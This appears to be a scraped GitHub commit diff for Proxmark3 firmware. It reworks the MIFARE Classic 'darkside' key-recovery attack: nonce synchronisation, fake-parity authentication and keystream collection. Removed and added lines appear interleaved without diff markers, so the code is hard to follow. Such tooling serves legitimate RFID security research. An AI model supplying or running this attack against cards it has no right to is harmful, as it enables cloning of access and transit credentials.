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https://github.com/Proxmark/proxmark3.git
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This commit is contained in:
parent
e772353f72
commit
1c611bbd26
9 changed files with 376 additions and 409 deletions
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@ -1515,7 +1515,7 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int
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// Signal field is on with the appropriate LED
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LED_D_ON();
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FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
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// Now get the answer from the card
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Demod.output = receivedResponse;
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Demod.len = 0;
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@ -1612,11 +1612,11 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
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int len;
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// Broadcast for a card, WUPA (0x52) will force response from all cards in the field
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ReaderTransmitBitsPar(wupa,7,0);
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ReaderTransmitBitsPar(wupa,7,0);
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// Receive the ATQA
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if(!ReaderReceive(resp)) return 0;
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// Dbprintf("atqa: %02x %02x",resp[0],resp[1]);
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if(p_hi14a_card) {
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memcpy(p_hi14a_card->atqa, resp, 2);
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p_hi14a_card->uidlen = 0;
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@ -1625,7 +1625,7 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
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// clear uid
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if (uid_ptr) {
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memset(uid_ptr,0,8);
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memset(uid_ptr,0,10);
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}
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// OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
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@ -1688,7 +1688,7 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
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// Request for answer to select
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AppendCrc14443a(rats, 2);
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ReaderTransmit(rats, sizeof(rats));
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if (!(len = ReaderReceive(resp))) return 0;
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if(p_hi14a_card) {
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@ -1811,354 +1811,266 @@ void ReaderIso14443a(UsbCommand * c)
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LEDsoff();
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}
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#define TEST_LENGTH 100
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typedef struct mftest{
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uint8_t nt[8];
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uint8_t count;
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}mftest ;
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/**
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*@brief Tunes the mifare attack settings. This method checks the nonce entropy when
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*using a specified timeout.
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*Different cards behave differently, some cards require up to a second to power down (and thus reset
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*token generator), other cards are fine with 50 ms.
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*
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* @param time
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* @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to
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*zero indicates a low entropy: the given timeout is sufficient to power down the card.
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*/
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int TuneMifare(int time)
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// prepare the Mifare AUTH transfer with an added necessary delay.
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void PrepareDelayedAuthTransfer(uint8_t* frame, int len, uint16_t delay)
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{
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// Mifare AUTH
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uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
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uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
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CodeIso14443aBitsAsReaderPar(frame, len*8, GetParity(frame,len));
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iso14443a_setup();
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int TIME1=time;
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int TIME2=2000;
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uint8_t uid[8];
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uint32_t cuid;
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byte_t nt[4];
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Dbprintf("Tuning... testing a delay of %d ms (press button to skip)",time);
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mftest nt_values[TEST_LENGTH];
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int nt_size = 0;
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int i = 0;
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for(i = 0 ; i< 100 ; i++)
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{
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LED_C_OFF();
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FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
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SpinDelay(TIME1);
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FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
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LED_C_ON();
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SpinDelayUs(TIME2);
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if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
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// Transmit MIFARE_CLASSIC_AUTH
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ReaderTransmit(mf_auth, sizeof(mf_auth));
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// Receive the (16 bit) "random" nonce
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if (!ReaderReceive(receivedAnswer)) continue;
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memcpy(nt, receivedAnswer, 4);
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//store it
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int already_stored = 0;
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for(int i = 0 ; i < nt_size && !already_stored; i++)
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{
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if( memcmp(nt, nt_values[i].nt, 4) == 0)
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{
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nt_values[i].count++;
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already_stored = 1;
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}
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}
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if(!already_stored)
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{
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mftest* ptr= &nt_values[nt_size++];
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//Clear it before use
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memset(ptr, 0, sizeof(mftest));
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memcpy(ptr->nt, nt, 4);
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ptr->count = 1;
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}
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if(BUTTON_PRESS())
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{
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Dbprintf("Tuning aborted prematurely");
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break;
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}
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}
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/*
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for(int i = 0 ; i < nt_size;i++){
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mftest x = nt_values[i];
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Dbprintf("%d,%d,%d,%d : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count);
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}
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*/
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int result = nt_size *100 / i;
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Dbprintf(" ... results for %d ms : %d %",time, result);
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return result;
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uint8_t bitmask = 0;
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uint8_t bits_to_shift = 0;
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uint8_t bits_shifted = 0;
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if (delay) {
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for (uint16_t i = 0; i < delay; i++) {
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bitmask |= (0x01 << i);
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}
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ToSend[++ToSendMax] = 0x00;
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for (uint16_t i = 0; i < ToSendMax; i++) {
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bits_to_shift = ToSend[i] & bitmask;
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ToSend[i] = ToSend[i] >> delay;
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ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay));
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bits_shifted = bits_to_shift;
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}
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}
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}
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// Determine the distance between two nonces.
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// Assume that the difference is small, but we don't know which is first.
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// Therefore try in alternating directions.
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int32_t dist_nt(uint32_t nt1, uint32_t nt2) {
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uint16_t i;
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uint32_t nttmp1, nttmp2;
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if (nt1 == nt2) return 0;
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nttmp1 = nt1;
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nttmp2 = nt2;
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for (i = 1; i < 32768; i++) {
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nttmp1 = prng_successor(nttmp1, 1);
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if (nttmp1 == nt2) return i;
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nttmp2 = prng_successor(nttmp2, 1);
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if (nttmp2 == nt1) return -i;
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}
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return(-99999); // either nt1 or nt2 are invalid nonces
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}
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//-----------------------------------------------------------------------------
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// Read an ISO 14443a tag. Send out commands and store answers.
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//
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// Recover several bits of the cypher stream. This implements (first stages of)
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// the algorithm described in "The Dark Side of Security by Obscurity and
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// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime"
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// (article by Nicolas T. Courtois, 2009)
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//-----------------------------------------------------------------------------
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#define STATE_SIZE 100
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typedef struct AttackState{
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byte_t nt[4];
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byte_t par_list[8];
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byte_t ks_list[8];
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byte_t par;
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byte_t par_low;
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byte_t nt_diff;
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uint8_t mf_nr_ar[8];
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} AttackState;
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int continueAttack(AttackState* pState,uint8_t* receivedAnswer)
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void ReaderMifare(bool first_try)
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{
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// Transmit reader nonce and reader answer
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ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par);
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// Receive 4 bit answer
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int len = ReaderReceive(receivedAnswer);
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if (!len)
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{
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if (pState->nt_diff == 0)
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{
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pState->par++;
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} else {
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pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low;
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}
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return 2;
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}
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if(pState->nt_diff == 0)
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{
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pState->par_low = pState->par & 0x07;
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}
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//Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4));
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//if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
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//isNULL = 0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
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//
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// if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue;
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//led_on = !led_on;
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//if(led_on) LED_B_ON(); else LED_B_OFF();
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pState->par_list[pState->nt_diff] = pState->par;
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pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05;
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// Test if the information is complete
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if (pState->nt_diff == 0x07) {
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return 0;
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}
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pState->nt_diff = (pState->nt_diff + 1) & 0x07;
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pState->mf_nr_ar[3] = pState->nt_diff << 5;
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pState->par = pState->par_low;
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return 1;
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}
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void reportResults(uint8_t uid[8],AttackState *pState, int isOK)
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{
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LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE);
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LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE);
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LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE);
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byte_t buf[48];
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memcpy(buf + 0, uid, 4);
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if(pState != NULL)
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{
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memcpy(buf + 4, pState->nt, 4);
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memcpy(buf + 8, pState->par_list, 8);
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memcpy(buf + 16, pState->ks_list, 8);
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}
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LED_B_ON();
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cmd_send(CMD_ACK,isOK,0,0,buf,48);
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LED_B_OFF();
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// Thats it...
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FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
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LEDsoff();
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tracing = TRUE;
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if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED");
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}
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void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time);
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/**
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* @brief New implementation of ReaderMifare, the classic mifare attack.
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* This implementation is backwards-compatible, but has some added parameters.
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* @param c the usbcommand in complete
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* c->arg[0] - nt_noattack (deprecated)
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* c->arg[1] - offset_time us (0 => random)
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* c->arg[2] - powerdown_time ms (0=> tuning)
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*
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*/
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void ReaderMifare(UsbCommand *c)
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{
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/*
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* The 'no-attack' is not used anymore, with the introduction of
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* state tables. Instead, we use an offset which is random. This means that we
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* should not get stuck on a 'bad' nonce, so no-attack is not needed.
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* Anyway, arg[0] is reserved for backwards compatibility
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uint32_t nt_noattack_uint = c->arg[0];
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byte_t nt_noattack[4];
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num_to_bytes(parameter, 4, nt_noattack_uint);
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*/
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/*
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*IF, for some reason, you want to attack a specific nonce or whatever,
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*you can specify the offset time yourself, in which case it won't be random.
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*
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* The offset time is microseconds, MICROSECONDS, not ms.
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*/
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uint32_t offset_time = c->arg[1];
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if(offset_time == 0)
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{
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//[Martin:]I would like to have used rand(), but linking problems prevented it
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//offset_time = rand() % 4000;
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//So instead, I found this nifty thingy, which seems to fit the bill
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offset_time = GetTickCount() % 2000;
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}
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/*
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* There is an implementation of tuning. Tuning will try to determine
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* a good power-down time, which is different for different cards.
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* If a value is specified from the packet, we won't do any tuning.
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* A value of zero will initialize a tuning.
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* The power-down time is milliseconds, that MILLI-seconds .
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*/
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uint32_t powerdown_time = c->arg[2];
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if(powerdown_time == 0)
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{
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//Tuning required
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int entropy = 100;
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int time = 25;
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entropy = TuneMifare(time);
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while(entropy > 50 && time < 2000){
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//Increase timeout, but never more than 500ms at a time
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time = MIN(time*2, time+500);
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entropy = TuneMifare(time);
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}
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if(entropy > 50){
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Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy);
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}
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powerdown_time = time;
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}
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//The actual attack
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ReaderMifareBegin(offset_time, powerdown_time);
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}
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void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time)
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{
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Dbprintf("Using power-down-time of %d ms, offset time %d us", powerdown_time, offset_time);
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/**
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*Allocate our state-table and initialize with zeroes
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**/
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AttackState states[STATE_SIZE] ;
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//Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) );
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memset(states, 0, STATE_SIZE*sizeof(AttackState));
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// Mifare AUTH
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// Mifare AUTH
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uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
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uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes
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uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
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static uint8_t mf_nr_ar3;
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traceLen = 0;
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uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
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traceLen = 0;
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tracing = false;
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iso14443a_setup();
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byte_t nt_diff = 0;
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byte_t par = 0;
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//byte_t par_mask = 0xff;
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static byte_t par_low = 0;
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bool led_on = TRUE;
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uint8_t uid[10];
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uint32_t cuid;
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uint32_t nt, previous_nt;
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static uint32_t nt_attacked = 0;
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byte_t par_list[8] = {0,0,0,0,0,0,0,0};
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byte_t ks_list[8] = {0,0,0,0,0,0,0,0};
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static uint32_t sync_time;
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static uint32_t sync_cycles;
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int catch_up_cycles = 0;
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int last_catch_up = 0;
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uint16_t consecutive_resyncs = 0;
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int isOK = 0;
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if (first_try) {
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StartCountMifare();
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mf_nr_ar3 = 0;
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iso14443a_setup();
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FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); // resets some FPGA internal registers
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while((GetCountMifare() & 0xffff0000) != 0x10000); // wait for counter to reset and "warm up"
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while(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME); // wait for ssp_frame to be low
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while(!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME)); // sync on rising edge of ssp_frame
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sync_time = GetCountMifare();
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sync_cycles = 65536; // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces).
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nt_attacked = 0;
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nt = 0;
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par = 0;
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}
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else {
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// we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same)
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// nt_attacked = prng_successor(nt_attacked, 1);
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mf_nr_ar3++;
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mf_nr_ar[3] = mf_nr_ar3;
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par = par_low;
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}
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LED_A_ON();
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LED_B_OFF();
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LED_C_OFF();
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for(uint16_t i = 0; TRUE; i++) {
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WDT_HIT();
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LED_A_OFF();
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uint8_t uid[8];
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uint32_t cuid;
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byte_t nt[4];
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int nts_attacked= 0;
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//Keeps track of progress (max value of nt_diff for our states)
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int progress = 0;
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int high_entropy_warning_issued = 0;
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while(!BUTTON_PRESS())
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{
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LED_C_OFF();
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FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
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SpinDelay(powerdown_time);
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FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
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// Test if the action was cancelled
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if(BUTTON_PRESS()) {
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break;
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}
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LED_C_ON();
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SpinDelayUs(offset_time);
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if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
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if(!iso14443a_select_card(uid, NULL, &cuid)) {
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continue;
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}
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||||
|
||||
//keep the card active
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
|
||||
|
||||
PrepareDelayedAuthTransfer(mf_auth, sizeof(mf_auth), (sync_cycles + catch_up_cycles) & 0x00000007);
|
||||
|
||||
sync_time = sync_time + ((sync_cycles + catch_up_cycles) & 0xfffffff8);
|
||||
catch_up_cycles = 0;
|
||||
|
||||
// if we missed the sync time already, advance to the next nonce repeat
|
||||
while(GetCountMifare() > sync_time) {
|
||||
sync_time = sync_time + (sync_cycles & 0xfffffff8);
|
||||
}
|
||||
|
||||
// now sync. After syncing, the following Classic Auth will return the same tag nonce (mostly)
|
||||
while(GetCountMifare() < sync_time);
|
||||
|
||||
// Transmit MIFARE_CLASSIC_AUTH
|
||||
ReaderTransmit(mf_auth, sizeof(mf_auth));
|
||||
int samples = 0;
|
||||
int wait = 0;
|
||||
TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
|
||||
|
||||
// Receive the (16 bit) "random" nonce
|
||||
if (!ReaderReceive(receivedAnswer)) continue;
|
||||
memcpy(nt, receivedAnswer, 4);
|
||||
// Receive the (4 Byte) "random" nonce
|
||||
if (!ReaderReceive(receivedAnswer)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
//Now we have the NT. Check if this NT is already under attack
|
||||
AttackState* pState = NULL;
|
||||
int i = 0;
|
||||
for(i = 0 ; i < nts_attacked && pState == NULL; i++)
|
||||
{
|
||||
if( memcmp(nt, states[i].nt, 4) == 0)
|
||||
{
|
||||
//we have it
|
||||
pState = &states[i];
|
||||
//Dbprintf("Existing state found (%d)", i);
|
||||
}
|
||||
}
|
||||
|
||||
previous_nt = nt;
|
||||
nt = bytes_to_num(receivedAnswer, 4);
|
||||
|
||||
if(pState == NULL){
|
||||
if(nts_attacked < STATE_SIZE )
|
||||
{
|
||||
//Initialize a new state
|
||||
pState = &states[nts_attacked++];
|
||||
//Clear it before use
|
||||
memset(pState, 0, sizeof(AttackState));
|
||||
memcpy(pState->nt, nt, 4);
|
||||
i = nts_attacked;
|
||||
//Dbprintf("New state created, nt=");
|
||||
}else if(!high_entropy_warning_issued){
|
||||
/**
|
||||
*If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by
|
||||
*increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce
|
||||
*every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting
|
||||
*else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish.
|
||||
*/
|
||||
DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)");
|
||||
high_entropy_warning_issued = 1;
|
||||
}
|
||||
}
|
||||
if(pState == NULL) continue;
|
||||
// Transmit reader nonce with fake par
|
||||
ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par);
|
||||
|
||||
int result = continueAttack(pState, receivedAnswer);
|
||||
if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet
|
||||
int nt_distance = dist_nt(previous_nt, nt);
|
||||
if (nt_distance == 0) {
|
||||
nt_attacked = nt;
|
||||
}
|
||||
else {
|
||||
if (nt_distance == -99999) { // invalid nonce received, try again
|
||||
continue;
|
||||
}
|
||||
sync_cycles = (sync_cycles - nt_distance);
|
||||
// Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
if(result == 1){
|
||||
//One state progressed another step
|
||||
if(pState->nt_diff > progress)
|
||||
{
|
||||
progress = pState->nt_diff;
|
||||
//Alert the user
|
||||
Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked );
|
||||
}
|
||||
//Dbprintf("State increased to %d in state %d", pState->nt_diff, i);
|
||||
}
|
||||
else if(result == 2){
|
||||
//Dbprintf("Continue attack no answer, par is now %d", pState->par);
|
||||
}
|
||||
else if(result == 0){
|
||||
reportResults(uid,pState,1);
|
||||
return;
|
||||
}
|
||||
}
|
||||
reportResults(uid,NULL,0);
|
||||
if ((nt != nt_attacked) && nt_attacked) { // we somehow lost sync. Try to catch up again...
|
||||
catch_up_cycles = -dist_nt(nt_attacked, nt);
|
||||
if (catch_up_cycles == 99999) { // invalid nonce received. Don't resync on that one.
|
||||
catch_up_cycles = 0;
|
||||
continue;
|
||||
}
|
||||
if (catch_up_cycles == last_catch_up) {
|
||||
consecutive_resyncs++;
|
||||
}
|
||||
else {
|
||||
last_catch_up = catch_up_cycles;
|
||||
consecutive_resyncs = 0;
|
||||
}
|
||||
if (consecutive_resyncs < 3) {
|
||||
Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs);
|
||||
}
|
||||
else {
|
||||
sync_cycles = sync_cycles + catch_up_cycles;
|
||||
Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
consecutive_resyncs = 0;
|
||||
|
||||
// Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
|
||||
if (ReaderReceive(receivedAnswer))
|
||||
{
|
||||
catch_up_cycles = 8; // the PRNG doesn't run during data transfers. 4 Bit = 8 cycles
|
||||
|
||||
if (nt_diff == 0)
|
||||
{
|
||||
par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
|
||||
}
|
||||
|
||||
led_on = !led_on;
|
||||
if(led_on) LED_B_ON(); else LED_B_OFF();
|
||||
|
||||
par_list[nt_diff] = par;
|
||||
ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
|
||||
|
||||
// Test if the information is complete
|
||||
if (nt_diff == 0x07) {
|
||||
isOK = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
nt_diff = (nt_diff + 1) & 0x07;
|
||||
mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5);
|
||||
par = par_low;
|
||||
} else {
|
||||
if (nt_diff == 0 && first_try)
|
||||
{
|
||||
par++;
|
||||
} else {
|
||||
par = (((par >> 3) + 1) << 3) | par_low;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE);
|
||||
LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE);
|
||||
LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE);
|
||||
|
||||
mf_nr_ar[3] &= 0x1F;
|
||||
|
||||
byte_t buf[28];
|
||||
memcpy(buf + 0, uid, 4);
|
||||
num_to_bytes(nt, 4, buf + 4);
|
||||
memcpy(buf + 8, par_list, 8);
|
||||
memcpy(buf + 16, ks_list, 8);
|
||||
memcpy(buf + 24, mf_nr_ar, 4);
|
||||
|
||||
cmd_send(CMD_ACK,isOK,0,0,buf,28);
|
||||
|
||||
// Thats it...
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
LEDsoff();
|
||||
tracing = TRUE;
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// MIFARE 1K simulate.
|
||||
//
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue